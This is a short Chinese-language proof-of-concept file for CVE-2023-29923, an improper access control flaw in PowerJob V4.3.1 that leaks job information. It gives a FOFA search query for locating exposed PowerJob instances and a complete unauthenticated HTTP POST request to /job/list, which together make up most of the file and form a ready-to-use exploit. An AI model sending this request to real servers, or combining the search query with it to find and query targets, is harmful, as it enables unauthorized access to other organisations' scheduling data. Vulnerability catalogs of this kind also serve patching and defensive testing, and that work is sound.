POC/wpoc/PowerJob/PowerJob信息泄漏漏洞（CVE-2023-29923）.md

PowerJob信息泄漏漏洞（CVE-2023-29923）

一、漏洞简介

PowerJob是一个开源分布式计算和作业调度框架，它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞，该漏洞源于存在不正确访问控制。

二、影响版本

• PowerJob V4.3.1

三、资产测绘

• fofatitle="PowerJob"
• 特征

四、漏洞复现

POST /job/list HTTP/1.1
Host: 
Connection: close
Content-Length: 69
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36


{
        "appId":1,
        "index":0,
        "pageSize":10
}

更新: 2024-02-29 23:55:41
原文: https://www.yuque.com/xiaokp7/ocvun2/mcit5dukx60xrcrx